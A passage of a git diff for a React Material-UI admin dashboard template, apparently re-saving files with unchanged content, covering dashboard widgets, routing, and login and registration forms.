<Typography variant="h5">+45.14%</Typography> + </ListItemButton> + <ListItemButton divider> + <ListItemText primary="Company Expenses Ratio" /> + <Typography variant="h5">0.58%</Typography> + </ListItemButton> + <ListItemButton> + <ListItemText primary="Business Risk Cases" /> + <Typography variant="h5">Low</Typography> + </ListItemButton> + </List> + <ReportAreaChart /> + </MainCard> + </Grid> + {/* row 4 */} + <Grid size={{ xs: 12, md: 7, lg: 8 }}> + <SaleReportCard /> + </Grid> + <Grid size={{ xs: 12, md: 5, lg: 4 }}> + <Grid container sx={{ alignItems: 'center', justifyContent: 'space-between' }}> + <Grid> + <Typography variant="h5">Transaction History</Typography> + </Grid> + <Grid /> + </Grid> + <MainCard sx={{ mt: 2 }} content={false}> + <List + component="nav" + sx={{ + px: 0, + py: 0, + '& .MuiListItemButton-root': { + py: 1.5, + px: 2, + '& .MuiAvatar-root': avatarSX, + '& .MuiListItemSecondaryAction-root': { ...actionSX, position: 'relative' } + } + }} + > + <ListItem + component={ListItemButton} + divider + secondaryAction={ + <Stack sx={{ alignItems: 'flex-end' }}> + <Typography variant="subtitle1" noWrap> + + $1,430 + </Typography> + <Typography variant="h6" color="secondary" noWrap> + 78% + </Typography> + </Stack> + } + > + <ListItemAvatar> + <Avatar sx={{ color: 'success.main', bgcolor: 'success.lighter' }}> + <GiftOutlined /> + </Avatar> + </ListItemAvatar> + <ListItemText primary={<Typography variant="subtitle1">Order #002434</Typography>} secondary="Today, 2:00 AM" /> + </ListItem> + <ListItem + component={ListItemButton} + divider + secondaryAction={ + <Stack sx={{ alignItems: 'flex-end' }}> + <Typography variant="subtitle1" noWrap> + + $302 + </Typography> + <Typography variant="h6" color="secondary" noWrap> + 8% + </Typography> + </Stack> + } + > + <ListItemAvatar> + <Avatar sx={{ color: 'primary.main', bgcolor: 'primary.lighter' }}> + <MessageOutlined /> + </Avatar> + </ListItemAvatar> + <ListItemText primary={<Typography variant="subtitle1">Order #984947</Typography>} secondary="5 August, 1:45 PM" /> + </ListItem> + <ListItem + component={ListItemButton} + secondaryAction={ + <Stack sx={{ alignItems: 'flex-end' }}> + <Typography variant="subtitle1" noWrap> + + $682 + </Typography> + <Typography variant="h6" color="secondary" noWrap> + 16% + </Typography> + </Stack> + } + > + <ListItemAvatar> + <Avatar sx={{ color: 'error.main', bgcolor: 'error.lighter' }}> + <SettingOutlined /> + </Avatar> + </ListItemAvatar> + <ListItemText primary={<Typography variant="subtitle1">Order #988784</Typography>} secondary="7 hours ago" /> + </ListItem> + </List> + </MainCard> + <MainCard sx={{ mt: 2 }}> + <Stack sx={{ gap: 3 }}> + <Grid container sx={{ alignItems: 'center', justifyContent: 'space-between' }}> + <Grid> + <Stack> + <Typography variant="h5" noWrap> + Help & Support Chat + </Typography> + <Typography variant="caption" color="secondary" noWrap> + Typical replay within 5 min + </Typography> + </Stack> + </Grid> + <Grid> + <AvatarGroup sx={{ '& .MuiAvatar-root': { width: 32, height: 32 } }}> + <Avatar alt="Remy Sharp" src={avatar1} /> + <Avatar alt="Travis Howard" src={avatar2} /> + <Avatar alt="Cindy Baker" src={avatar3} /> + <Avatar alt="Agnes Walker" src={avatar4} /> + </AvatarGroup> + </Grid> + </Grid> + <Button size="small" variant="contained" sx={{ textTransform: 'capitalize' }}> + Need Help? + </Button> + </Stack> + </MainCard> + </Grid> + </Grid> + ); +} diff --git a/src/pages/extra-pages/sample-page.jsx b/src/pages/extra-pages/sample-page.jsx index a8b25e1c2..6d4d71e07 100644 --- a/src/pages/extra-pages/sample-page.jsx +++ b/src/pages/extra-pages/sample-page.jsx @@ -1,20 +1,20 @@ -// material-ui -import Typography from '@mui/material/Typography'; - -// project imports -import MainCard from 'components/MainCard'; - -// ==============================|| SAMPLE PAGE ||============================== // - -export default function SamplePage() { - return ( - <MainCard title="Sample Card"> - <Typography variant="body2"> - Lorem ipsum dolor sit amen, consenter nipissing eli, sed do elusion tempos incident ut laborers et doolie magna alissa. Ut enif ad - minim venice, quin nostrum exercitation illampu laborings nisi ut liquid ex ea commons construal. Duos aube grue dolor in - reprehended in voltage veil esse colum doolie eu fujian bulla parian. Exceptive sin ocean cuspidate non president, sunk in culpa qui - officiate descent molls anim id est labours. - </Typography> - </MainCard> - ); -} +// material-ui +import Typography from '@mui/material/Typography'; + +// project imports +import MainCard from 'components/MainCard'; + +// ==============================|| SAMPLE PAGE ||============================== // + +export default function SamplePage() { + return ( + <MainCard title="Sample Card"> + <Typography variant="body2"> + Lorem ipsum dolor sit amen, consenter nipissing eli, sed do elusion tempos incident ut laborers et doolie magna alissa. Ut enif ad + minim venice, quin nostrum exercitation illampu laborings nisi ut liquid ex ea commons construal. Duos aube grue dolor in + reprehended in voltage veil esse colum doolie eu fujian bulla parian. Exceptive sin ocean cuspidate non president, sunk in culpa qui + officiate descent molls anim id est labours. + </Typography> + </MainCard> + ); +} diff --git a/src/reportWebVitals.js b/src/reportWebVitals.js index d223d1071..1ca663e45 100644 --- a/src/reportWebVitals.js +++ b/src/reportWebVitals.js @@ -1,12 +1,12 @@ -const reportWebVitals = (onPerfEntry) => { - if (onPerfEntry && onPerfEntry instanceof Function) { - import('web-vitals').then(({ onCLS, onFCP, onLCP, onTTFB }) => { - onCLS(onPerfEntry); - onFCP(onPerfEntry); - onLCP(onPerfEntry); - onTTFB(onPerfEntry); - }); - } -}; - -export default reportWebVitals; +const reportWebVitals = (onPerfEntry) => { + if (onPerfEntry && onPerfEntry instanceof Function) { + import('web-vitals').then(({ onCLS, onFCP, onLCP, onTTFB }) => { + onCLS(onPerfEntry); + onFCP(onPerfEntry); + onLCP(onPerfEntry); + onTTFB(onPerfEntry); + }); + } +}; + +export default reportWebVitals; diff --git a/src/routes/LoginRoutes.jsx b/src/routes/LoginRoutes.jsx index 7a18e1728..643a91517 100644 --- a/src/routes/LoginRoutes.jsx +++ b/src/routes/LoginRoutes.jsx @@ -1,31 +1,31 @@ -import { lazy } from 'react'; - -// project imports -import Loadable from 'components/Loadable'; - -// jwt auth -const LoginPage = Loadable(lazy(() => import('pages/auth/Login'))); -const RegisterPage = Loadable(lazy(() => import('pages/auth/Register'))); - -// ==============================|| AUTH ROUTING ||============================== // - -const LoginRoutes = { - path: '/', - children: [ - { - path: '/', - children: [ - { - path: '/login', - element: <LoginPage /> - }, - { - path: '/register', - element: <RegisterPage /> - } - ] - } - ] -}; - -export default LoginRoutes; +import { lazy } from 'react'; + +// project imports +import Loadable from 'components/Loadable'; + +// jwt auth +const LoginPage = Loadable(lazy(() => import('pages/auth/Login'))); +const RegisterPage = Loadable(lazy(() => import('pages/auth/Register'))); + +// ==============================|| AUTH ROUTING ||============================== // + +const LoginRoutes = { + path: '/', + children: [ + { + path: '/', + children: [ + { + path: '/login', + element: <LoginPage /> + }, + { + path: '/register', + element: <RegisterPage /> + } + ] + } + ] +}; + +export default LoginRoutes; diff --git a/src/routes/MainRoutes.jsx b/src/routes/MainRoutes.jsx index 123c34b8d..0b8cb1a59 100644 --- a/src/routes/MainRoutes.jsx +++ b/src/routes/MainRoutes.jsx @@ -1,56 +1,56 @@ -import { lazy } from 'react'; - -// project imports -import Loadable from 'components/Loadable'; -import DashboardLayout from 'layout/Dashboard'; - -// render- Dashboard -const DashboardDefault = Loadable(lazy(() => import('pages/dashboard/default'))); - -// render - color -const Color = Loadable(lazy(() => import('pages/component-overview/color'))); -const Typography = Loadable(lazy(() => import('pages/component-overview/typography'))); -const Shadow = Loadable(lazy(() => import('pages/component-overview/shadows'))); - -// render - sample page -const SamplePage = Loadable(lazy(() => import('pages/extra-pages/sample-page'))); - -// ==============================|| MAIN ROUTING ||============================== // - -const MainRoutes = { - path: '/', - element: <DashboardLayout />, - children: [ - { - path: '/', - element: <DashboardDefault /> - }, - { - path: 'dashboard', - children: [ - { - path: 'default', - element: <DashboardDefault /> - } - ] - }, - { - path: 'typography', - element: <Typography /> - }, - { - path: 'color', - element: <Color /> - }, - { - path: 'shadow', - element: <Shadow /> - }, - { - path: 'sample-page', - element: <SamplePage /> - } - ] -}; - -export default MainRoutes; +import { lazy } from 'react'; + +// project imports +import Loadable from 'components/Loadable'; +import DashboardLayout from 'layout/Dashboard'; + +// render- Dashboard +const DashboardDefault = Loadable(lazy(() => import('pages/dashboard/default'))); + +// render - color +const Color = Loadable(lazy(() => import('pages/component-overview/color'))); +const Typography = Loadable(lazy(() => import('pages/component-overview/typography'))); +const Shadow = Loadable(lazy(() => import('pages/component-overview/shadows'))); + +// render - sample page +const SamplePage = Loadable(lazy(() => import('pages/extra-pages/sample-page'))); + +// ==============================|| MAIN ROUTING ||============================== // + +const MainRoutes = { + path: '/', + element: <DashboardLayout />, + children: [ + { + path: '/', + element: <DashboardDefault /> + }, + { + path: 'dashboard', + children: [ + { + path: 'default', + element: <DashboardDefault /> + } + ] + }, + { + path: 'typography', + element: <Typography /> + }, + { + path: 'color', + element: <Color /> + }, + { + path: 'shadow', + element: <Shadow /> + }, + { + path: 'sample-page', + element: <SamplePage /> + } + ] +}; + +export default MainRoutes; diff --git a/src/routes/index.jsx b/src/routes/index.jsx index 6a157305e..10a8fb0e4 100644 --- a/src/routes/index.jsx +++ b/src/routes/index.jsx @@ -1,11 +1,11 @@ -import { createBrowserRouter } from 'react-router-dom'; - -// project imports -import MainRoutes from './MainRoutes'; -import LoginRoutes from './LoginRoutes'; - -// ==============================|| ROUTING RENDER ||============================== // - -const router = createBrowserRouter([MainRoutes, LoginRoutes], { basename: import.meta.env.VITE_APP_BASE_NAME }); - -export default router; +import { createBrowserRouter } from 'react-router-dom'; + +// project imports +import MainRoutes from './MainRoutes'; +import LoginRoutes from './LoginRoutes'; + +// ==============================|| ROUTING RENDER ||============================== // + +const router = createBrowserRouter([MainRoutes, LoginRoutes], { basename: import.meta.env.VITE_APP_BASE_NAME }); + +export default router; diff --git a/src/sections/auth/AuthBackground.jsx b/src/sections/auth/AuthBackground.jsx index 439d79625..af6060f89 100644 --- a/src/sections/auth/AuthBackground.jsx +++ b/src/sections/auth/AuthBackground.jsx @@ -1,38 +1,38 @@ -// material-ui -import { useTheme } from '@mui/material/styles'; -import Box from '@mui/material/Box'; - -// ==============================|| AUTH BLUR BACK SVG ||============================== // - -export default function AuthBackground() { - const theme = useTheme(); - - return ( - <Box - sx={{ - position: 'absolute', - filter: 'blur(18px)', - zIndex: -1, - bottom: 0, - transform: 'inherit' - }} - > - <svg width="100%" height="calc(100vh - 175px)" viewBox="0 0 405 809" fill="none" xmlns="http://www.w3.org/2000/svg"> - <path - d="M-358.39 358.707L-293.914 294.23L-293.846 294.163H-172.545L-220.81 342.428L-233.272 354.889L-282.697 404.314L-276.575 410.453L0.316589 687.328L283.33 404.314L233.888 354.889L230.407 351.391L173.178 294.163H294.48L294.547 294.23L345.082 344.765L404.631 404.314L0.316589 808.629L-403.998 404.314L-358.39 358.707ZM0.316589 0L233.938 233.622H112.637L0.316589 121.301L-112.004 233.622H-233.305L0.316589 0Z" - fill={theme.vars.palette.primary.light} - /> - <path - d="M-516.39 358.707L-451.914 294.23L-451.846 294.163H-330.545L-378.81 342.428L-391.272 354.889L-440.697 404.314L-434.575 410.453L-157.683 687.328L125.33 404.314L75.8879 354.889L72.4068 351.391L15.1785 294.163H136.48L136.547 294.23L187.082 344.765L246.631 404.314L-157.683 808.629L-561.998 404.314L-516.39 358.707ZM-157.683 0L75.9383 233.622H-45.3627L-157.683 121.301L-270.004 233.622H-391.305L-157.683 0Z" - fill={theme.vars.palette.success.light} - opacity="0.6" - /> - <path - d="M-647.386 358.707L-582.91 294.23L-582.842 294.163H-461.541L-509.806 342.428L-522.268 354.889L-571.693 404.314L-565.571 410.453L-288.68 687.328L-5.66624 404.314L-55.1082 354.889L-58.5893 351.391L-115.818 294.163H5.48342L5.5507 294.23L56.0858 344.765L115.635 404.314L-288.68 808.629L-692.994 404.314L-647.386 358.707ZM-288.68 0L-55.0578 233.622H-176.359L-288.68 121.301L-401 233.622H-522.301L-288.68 0Z" - fill={theme.vars.palette.error.lighter} - opacity="1" - /> - </svg> - </Box> - ); -} +// material-ui +import { useTheme } from '@mui/material/styles'; +import Box from '@mui/material/Box'; + +// ==============================|| AUTH BLUR BACK SVG ||============================== // + +export default function AuthBackground() { + const theme = useTheme(); + + return ( + <Box + sx={{ + position: 'absolute', + filter: 'blur(18px)', + zIndex: -1, + bottom: 0, + transform: 'inherit' + }} + > + <svg width="100%" height="calc(100vh - 175px)" viewBox="0 0 405 809" fill="none" xmlns="http://www.w3.org/2000/svg"> + <path + d="M-358.39 358.707L-293.914 294.23L-293.846 294.163H-172.545L-220.81 342.428L-233.272 354.889L-282.697 404.314L-276.575 410.453L0.316589 687.328L283.33 404.314L233.888 354.889L230.407 351.391L173.178 294.163H294.48L294.547 294.23L345.082 344.765L404.631 404.314L0.316589 808.629L-403.998 404.314L-358.39 358.707ZM0.316589 0L233.938 233.622H112.637L0.316589 121.301L-112.004 233.622H-233.305L0.316589 0Z" + fill={theme.vars.palette.primary.light} + /> + <path + d="M-516.39 358.707L-451.914 294.23L-451.846 294.163H-330.545L-378.81 342.428L-391.272 354.889L-440.697 404.314L-434.575 410.453L-157.683 687.328L125.33 404.314L75.8879 354.889L72.4068 351.391L15.1785 294.163H136.48L136.547 294.23L187.082 344.765L246.631 404.314L-157.683 808.629L-561.998 404.314L-516.39 358.707ZM-157.683 0L75.9383 233.622H-45.3627L-157.683 121.301L-270.004 233.622H-391.305L-157.683 0Z" + fill={theme.vars.palette.success.light} + opacity="0.6" + /> + <path + d="M-647.386 358.707L-582.91 294.23L-582.842 294.163H-461.541L-509.806 342.428L-522.268 354.889L-571.693 404.314L-565.571 410.453L-288.68 687.328L-5.66624 404.314L-55.1082 354.889L-58.5893 351.391L-115.818 294.163H5.48342L5.5507 294.23L56.0858 344.765L115.635 404.314L-288.68 808.629L-692.994 404.314L-647.386 358.707ZM-288.68 0L-55.0578 233.622H-176.359L-288.68 121.301L-401 233.622H-522.301L-288.68 0Z" + fill={theme.vars.palette.error.lighter} + opacity="1" + /> + </svg> + </Box> + ); +} diff --git a/src/sections/auth/AuthCard.jsx b/src/sections/auth/AuthCard.jsx index add63aa8f..57c576532 100644 --- a/src/sections/auth/AuthCard.jsx +++ b/src/sections/auth/AuthCard.jsx @@ -1,29 +1,29 @@ -import PropTypes from 'prop-types'; - -// material-ui -import { useTheme } from '@mui/material/styles'; -import Box from '@mui/material/Box'; - -// project imports -import MainCard from 'components/MainCard'; - -// ==============================|| AUTHENTICATION - CARD WRAPPER ||============================== // - -export default function AuthCard({ children, ...other }) { - const theme = useTheme(); - - return ( - <MainCard - sx={{ maxWidth: { xs: 400, sm: 475 }, margin: { xs: 2.5, md: 3 }, '& > *': { flexGrow: 1, flexBasis: '50%' } }} - content={false} - {...other} - border={false} - boxShadow - shadow={theme.vars.customShadows.z1} - > - <Box sx={{ p: { xs: 2, sm: 3, md: 4, xl: 5 } }}>{children}</Box> - </MainCard> - ); -} - -AuthCard.propTypes = { children: PropTypes.any, other: PropTypes.any }; +import PropTypes from 'prop-types'; + +// material-ui +import { useTheme } from '@mui/material/styles'; +import Box from '@mui/material/Box'; + +// project imports +import MainCard from 'components/MainCard'; + +// ==============================|| AUTHENTICATION - CARD WRAPPER ||============================== // + +export default function AuthCard({ children, ...other }) { + const theme = useTheme(); + + return ( + <MainCard + sx={{ maxWidth: { xs: 400, sm: 475 }, margin: { xs: 2.5, md: 3 }, '& > *': { flexGrow: 1, flexBasis: '50%' } }} + content={false} + {...other} + border={false} + boxShadow + shadow={theme.vars.customShadows.z1} + > + <Box sx={{ p: { xs: 2, sm: 3, md: 4, xl: 5 } }}>{children}</Box> + </MainCard> + ); +} + +AuthCard.propTypes = { children: PropTypes.any, other: PropTypes.any }; diff --git a/src/sections/auth/AuthLogin.jsx b/src/sections/auth/AuthLogin.jsx index 8c8e2d01f..2db74d786 100644 --- a/src/sections/auth/AuthLogin.jsx +++ b/src/sections/auth/AuthLogin.jsx @@ -1,152 +1,152 @@ -import PropTypes from 'prop-types'; -import React from 'react'; -import { Link as RouterLink } from 'react-router-dom'; - -// material-ui -import Button from '@mui/material/Button'; -import Checkbox from '@mui/material/Checkbox'; -import FormControlLabel from '@mui/material/FormControlLabel'; -import FormHelperText from '@mui/material/FormHelperText'; -import Grid from '@mui/material/Grid'; -import Link from '@mui/material/Link'; -import InputAdornment from '@mui/material/InputAdornment'; -import InputLabel from '@mui/material/InputLabel'; -import OutlinedInput from '@mui/material/OutlinedInput'; -import Stack from '@mui/material/Stack'; -import Typography from '@mui/material/Typography'; - -// third-party -import * as Yup from 'yup'; -import { Formik } from 'formik'; - -// project imports -import IconButton from 'components/@extended/IconButton'; -import AnimateButton from 'components/@extended/AnimateButton'; - -// assets -import EyeOutlined from '@ant-design/icons/EyeOutlined'; -import EyeInvisibleOutlined from '@ant-design/icons/EyeInvisibleOutlined'; - -// ============================|| JWT - LOGIN ||============================ // - -export default function AuthLogin({ isDemo = false }) { - const [checked, setChecked] = React.useState(false); - - const [showPassword, setShowPassword] = React.useState(false); - const handleClickShowPassword = () => { - setShowPassword(!showPassword); - }; - - const handleMouseDownPassword = (event) => { - event.preventDefault(); - }; - - return ( - <> - <Formik - initialValues={{ - email: 'info@codedthemes.com', - password: '123456', - submit: null - }} - validationSchema={Yup.object().shape({ - email: Yup.string().email('Must be a valid email').max(255).required('Email is required'), - password: Yup.string() - .required('Password is required') - .test('no-leading-trailing-whitespace', 'Password cannot start or end with spaces', (value) => value === value.trim()) - .max(10, 'Password must be less than 10 characters') - })} - > - {({ errors, handleBlur, handleChange, touched, values }) => ( - <form noValidate> - <Grid container spacing={3}> - <Grid size={12}> - <Stack sx={{ gap: 1 }}> - <InputLabel htmlFor="email-login">Email Address</InputLabel> - <OutlinedInput - id="email-login" - type="email" - value={values.email} - name="email" - onBlur={handleBlur} - onChange={handleChange} - placeholder="Enter email address" - fullWidth - error={Boolean(touched.email && errors.email)} - /> - </Stack> - {touched.email && errors.email && ( - <FormHelperText error id="standard-weight-helper-text-email-login"> - {errors.email} - </FormHelperText> - )} - </Grid> - <Grid size={12}> - <Stack sx={{ gap: 1 }}> - <InputLabel htmlFor="password-login">Password</InputLabel> - <OutlinedInput - fullWidth - error={Boolean(touched.password && errors.password)} - id="-password-login" - type={showPassword ? 'text' : 'password'} - value={values.password} - name="password" - onBlur={handleBlur} - onChange={handleChange} - endAdornment={ - <InputAdornment position="end"> - <IconButton - aria-label="toggle password visibility" - onClick={handleClickShowPassword} - onMouseDown={handleMouseDownPassword} - edge="end" - color="secondary" - > - {showPassword ? <EyeOutlined /> : <EyeInvisibleOutlined />} - </IconButton> - </InputAdornment> - } - placeholder="Enter password" - /> - </Stack> - {touched.password && errors.password && ( - <FormHelperText error id="standard-weight-helper-text-password-login"> - {errors.password} - </FormHelperText> - )} - </Grid> - <Grid sx={{ mt: -1 }} size={12}> - <Stack direction="row" sx={{ gap: 2, alignItems: 'baseline', justifyContent: 'space-between' }}> - <FormControlLabel - control={ - <Checkbox - checked={checked} - onChange={(event) => setChecked(event.target.checked)} - name="checked" - color="primary" - size="small" - /> - } - label={<Typography variant="h6">Keep me sign in</Typography>} - /> - <Link variant="h6" component={RouterLink} to="#" color="text.primary"> - Forgot Password? - </Link> - </Stack> - </Grid> - <Grid size={12}> - <AnimateButton> - <Button fullWidth size="large" variant="contained" color="primary"> - Login - </Button> - </AnimateButton> - </Grid> - </Grid> - </form> - )} - </Formik> - </> - ); -} - -AuthLogin.propTypes = { isDemo: PropTypes.bool }; +import PropTypes from 'prop-types'; +import React from 'react'; +import { Link as RouterLink } from 'react-router-dom'; + +// material-ui +import Button from '@mui/material/Button'; +import Checkbox from '@mui/material/Checkbox'; +import FormControlLabel from '@mui/material/FormControlLabel'; +import FormHelperText from '@mui/material/FormHelperText'; +import Grid from '@mui/material/Grid'; +import Link from '@mui/material/Link'; +import InputAdornment from '@mui/material/InputAdornment'; +import InputLabel from '@mui/material/InputLabel'; +import OutlinedInput from '@mui/material/OutlinedInput'; +import Stack from '@mui/material/Stack'; +import Typography from '@mui/material/Typography'; + +// third-party +import * as Yup from 'yup'; +import { Formik } from 'formik'; + +// project imports +import IconButton from 'components/@extended/IconButton'; +import AnimateButton from 'components/@extended/AnimateButton'; + +// assets +import EyeOutlined from '@ant-design/icons/EyeOutlined'; +import EyeInvisibleOutlined from '@ant-design/icons/EyeInvisibleOutlined'; + +// ============================|| JWT - LOGIN ||============================ // + +export default function AuthLogin({ isDemo = false }) { + const [checked, setChecked] = React.useState(false); + + const [showPassword, setShowPassword] = React.useState(false); + const handleClickShowPassword = () => { + setShowPassword(!showPassword); + }; + + const handleMouseDownPassword = (event) => { + event.preventDefault(); + }; + + return ( + <> + <Formik + initialValues={{ + email: 'info@codedthemes.com', + password: '123456', + submit: null + }} + validationSchema={Yup.object().shape({ + email: Yup.string().email('Must be a valid email').max(255).required('Email is required'), + password: Yup.string() + .required('Password is required') + .test('no-leading-trailing-whitespace', 'Password cannot start or end with spaces', (value) => value === value.trim()) + .max(10, 'Password must be less than 10 characters') + })} + > + {({ errors, handleBlur, handleChange, touched, values }) => ( + <form noValidate> + <Grid container spacing={3}> + <Grid size={12}> + <Stack sx={{ gap: 1 }}> + <InputLabel htmlFor="email-login">Email Address</InputLabel> + <OutlinedInput + id="email-login" + type="email" + value={values.email} + name="email" + onBlur={handleBlur} + onChange={handleChange} + placeholder="Enter email address" + fullWidth + error={Boolean(touched.email && errors.email)} + /> + </Stack> + {touched.email && errors.email && ( + <FormHelperText error id="standard-weight-helper-text-email-login"> + {errors.email} + </FormHelperText> + )} + </Grid> + <Grid size={12}> + <Stack sx={{ gap: 1 }}> + <InputLabel htmlFor="password-login">Password</InputLabel> + <OutlinedInput + fullWidth + error={Boolean(touched.password && errors.password)} + id="-password-login" + type={showPassword ? 'text' : 'password'} + value={values.password} + name="password" + onBlur={handleBlur} + onChange={handleChange} + endAdornment={ + <InputAdornment position="end"> + <IconButton + aria-label="toggle password visibility" + onClick={handleClickShowPassword} + onMouseDown={handleMouseDownPassword} + edge="end" + color="secondary" + > + {showPassword ? <EyeOutlined /> : <EyeInvisibleOutlined />} + </IconButton> + </InputAdornment> + } + placeholder="Enter password" + /> + </Stack> + {touched.password && errors.password && ( + <FormHelperText error id="standard-weight-helper-text-password-login"> + {errors.password} + </FormHelperText> + )} + </Grid> + <Grid sx={{ mt: -1 }} size={12}> + <Stack direction="row" sx={{ gap: 2, alignItems: 'baseline', justifyContent: 'space-between' }}> + <FormControlLabel + control={ + <Checkbox + checked={checked} + onChange={(event) => setChecked(event.target.checked)} + name="checked" + color="primary" + size="small" + /> + } + label={<Typography variant="h6">Keep me sign in</Typography>} + /> + <Link variant="h6" component={RouterLink} to="#" color="text.primary"> + Forgot Password? + </Link> + </Stack> + </Grid> + <Grid size={12}> + <AnimateButton> + <Button fullWidth size="large" variant="contained" color="primary"> + Login + </Button> + </AnimateButton> + </Grid> + </Grid> + </form> + )} + </Formik> + </> + ); +} + +AuthLogin.propTypes = { isDemo: PropTypes.bool }; diff --git a/src/sections/auth/AuthRegister.jsx b/src/sections/auth/AuthRegister.jsx index ea66f057d..61e470d17 100644 --- a/src/sections/auth/AuthRegister.jsx +++ b/src/sections/auth/AuthRegister.jsx @@ -1,239 +1,239 @@ -import { useEffect, useState } from 'react'; -import { Link as RouterLink } from 'react-router-dom'; - -// material-ui -import Button from '@mui/material/Button'; -import FormControl from '@mui/material/FormControl'; -import FormHelperText from '@mui/material/FormHelperText'; -import Grid from '@mui/material/Grid'; -import Link from '@mui/material/Link'; -import InputAdornment from '@mui/material/InputAdornment'; -import InputLabel from '@mui/material/InputLabel'; -import OutlinedInput from '@mui/material/OutlinedInput'; -import Stack from '@mui/material/Stack'; -import Typography from '@mui/material/Typography'; -import Box from '@mui/material/Box'; - -// third-party -import * as Yup from 'yup'; -import { Formik } from 'formik'; - -// project imports -import IconButton from 'components/@extended/IconButton'; -import AnimateButton from 'components/@extended/AnimateButton'; - -import { strengthColor, strengthIndicator } from 'utils/password-strength'; - -// assets -import EyeOutlined from '@ant-design/icons/EyeOutlined'; -import EyeInvisibleOutlined from '@ant-design/icons/EyeInvisibleOutlined'; - -// ============================|| JWT - REGISTER ||============================ // - -export default function AuthRegister() { - const [level, setLevel] = useState(); - const [showPassword, setShowPassword] = useState(false); - const handleClickShowPassword = () => { - setShowPassword(!showPassword); - }; - - const handleMouseDownPassword = (event) => { - event.preventDefault(); - }; - - const changePassword = (value) => { - const temp = strengthIndicator(value); - setLevel(strengthColor(temp)); - }; - - useEffect(() => { - changePassword(''); - }, []); - - return ( - <> - <Formik - initialValues={{ - firstname: '', - lastname: '', - email: '', - company: '', - password: '', - submit: null - }} - validationSchema={Yup.object().shape({ - firstname: Yup.string().max(255).required('First Name is required'), - lastname: Yup.string().max(255).required('Last Name is required'), - email: Yup.string().email('Must be a valid email').max(255).required('Email is required'), - password: Yup.string() - .required('Password is required') - .test('no-leading-trailing-whitespace', 'Password cannot start or end with spaces', (value) => value === value.trim()) - .max(10, 'Password must be less than 10 characters') - })} - > - {({ errors, handleBlur, handleChange, touched, values }) => ( - <form noValidate> - <Grid container spacing={3}> - <Grid size={{ xs: 12, md: 6 }}> - <Stack sx={{ gap: 1 }}> - <InputLabel htmlFor="firstname-signup">First Name*</InputLabel> - <OutlinedInput - id="firstname-login" - type="firstname" - value={values.firstname} - name="firstname" - onBlur={handleBlur} - onChange={handleChange} - placeholder="John" - fullWidth - error={Boolean(touched.firstname && errors.firstname)} - /> - </Stack> - {touched.firstname && errors.firstname && ( - <FormHelperText error id="helper-text-firstname-signup"> - {errors.firstname} - </FormHelperText> - )} - </Grid> - <Grid size={{ xs: 12, md: 6 }}> - <Stack sx={{ gap: 1 }}> - <InputLabel htmlFor="lastname-signup">Last Name*</InputLabel> - <OutlinedInput - fullWidth - error={Boolean(touched.lastname && errors.lastname)} - id="lastname-signup" - type="lastname" - value={values.lastname} - name="lastname" - onBlur={handleBlur} - onChange={handleChange} - placeholder="Doe" - /> - </Stack> - {touched.lastname && errors.lastname && ( - <FormHelperText error id="helper-text-lastname-signup"> - {errors.lastname} - </FormHelperText> - )} - </Grid> - <Grid size={12}> - <Stack sx={{ gap: 1 }}> - <InputLabel htmlFor="company-signup">Company</InputLabel> - <OutlinedInput - fullWidth - error={Boolean(touched.company && errors.company)} - id="company-signup" - value={values.company} - name="company" - onBlur={handleBlur} - onChange={handleChange} - placeholder="Demo Inc." - /> - </Stack> - {touched.company && errors.company && ( - <FormHelperText error id="helper-text-company-signup"> - {errors.company} - </FormHelperText> - )} - </Grid> - <Grid size={12}> - <Stack sx={{ gap: 1 }}> - <InputLabel htmlFor="email-signup">Email Address*</InputLabel> - <OutlinedInput - fullWidth - error={Boolean(touched.email && errors.email)} - id="email-login" - type="email" - value={values.email} - name="email" - onBlur={handleBlur} - onChange={handleChange} - placeholder="demo@company.com" - /> - </Stack> - {touched.email && errors.email && ( - <FormHelperText error id="helper-text-email-signup"> - {errors.email} - </FormHelperText> - )} - </Grid> - <Grid size={12}> - <Stack sx={{ gap: 1 }}> - <InputLabel htmlFor="password-signup">Password</InputLabel> - <OutlinedInput - fullWidth - error={Boolean(touched.password && errors.password)} - id="password-signup" - type={showPassword ? 'text' : 'password'} - value={values.password} - name="password" - onBlur={handleBlur} - onChange={(e) => { - handleChange(e); - changePassword(e.target.value); - }} - endAdornment={ - <InputAdornment position="end"> - <IconButton - aria-label="toggle password visibility" - onClick={handleClickShowPassword} - onMouseDown={handleMouseDownPassword} - edge="end" - color="secondary" - > - {showPassword ? <EyeOutlined /> : <EyeInvisibleOutlined />} - </IconButton> - </InputAdornment> - } - placeholder="******" - /> - </Stack> - {touched.password && errors.password && ( - <FormHelperText error id="helper-text-password-signup"> - {errors.password} - </FormHelperText> - )} - <FormControl fullWidth sx={{ mt: 2 }}> - <Grid container spacing={2} alignItems="center"> - <Grid> - <Box sx={{ bgcolor: level?.color, width: 85, height: 8, borderRadius: '7px' }} /> - </Grid> - <Grid> - <Typography variant="subtitle1" fontSize="0.75rem"> - {level?.label} - </Typography> - </Grid> - </Grid> - </FormControl> - </Grid> - <Grid size={12}> - <Typography variant="body2"> - By Signing up, you agree to our   - <Link variant="subtitle2" component={RouterLink} to="#"> - Terms of Service - </Link> -   and   - <Link variant="subtitle2" component={RouterLink} to="#"> - Privacy Policy - </Link> - </Typography> - </Grid> - {errors.submit && ( - <Grid size={12}> - <FormHelperText error>{errors.submit}</FormHelperText> - </Grid> - )} - <Grid size={12}> - <AnimateButton> - <Button fullWidth size="large" variant="contained" color="primary"> - Create Account - </Button> - </AnimateButton> - </Grid> - </Grid> - </form> - )} - </Formik> - </> - ); -} +import { useEffect, useState } from 'react'; +import { Link as RouterLink } from 'react-router-dom'; + +// material-ui +import Button from '@mui/material/Button'; +import FormControl from '@mui/material/FormControl'; +import FormHelperText from '@mui/material/FormHelperText'; +import Grid from '@mui/material/Grid'; +import Link from '@mui/material/Link'; +import InputAdornment from '@mui/material/InputAdornment'; +import InputLabel from '@mui/material/InputLabel'; +import OutlinedInput from '@mui/material/OutlinedInput'; +import Stack from '@mui/material/Stack'; +import Typography from '@mui/material/Typography'; +import Box from '@mui/material/Box'; + +// third-party +import * as Yup from 'yup'; +import { Formik } from 'formik'; + +// project imports +import IconButton from 'components/@extended/IconButton'; +import AnimateButton from 'components/@extended/AnimateButton'; + +import { strengthColor, strengthIndicator } from 'utils/password-strength'; + +// assets +import EyeOutlined from '@ant-design/icons/EyeOutlined'; +import EyeInvisibleOutlined from '@ant-design/icons/EyeInvisibleOutlined'; + +// ============================|| JWT - REGISTER ||============================ // + +export default function AuthRegister() { + const [level, setLevel] = useState(); + const [showPassword, setShowPassword] = 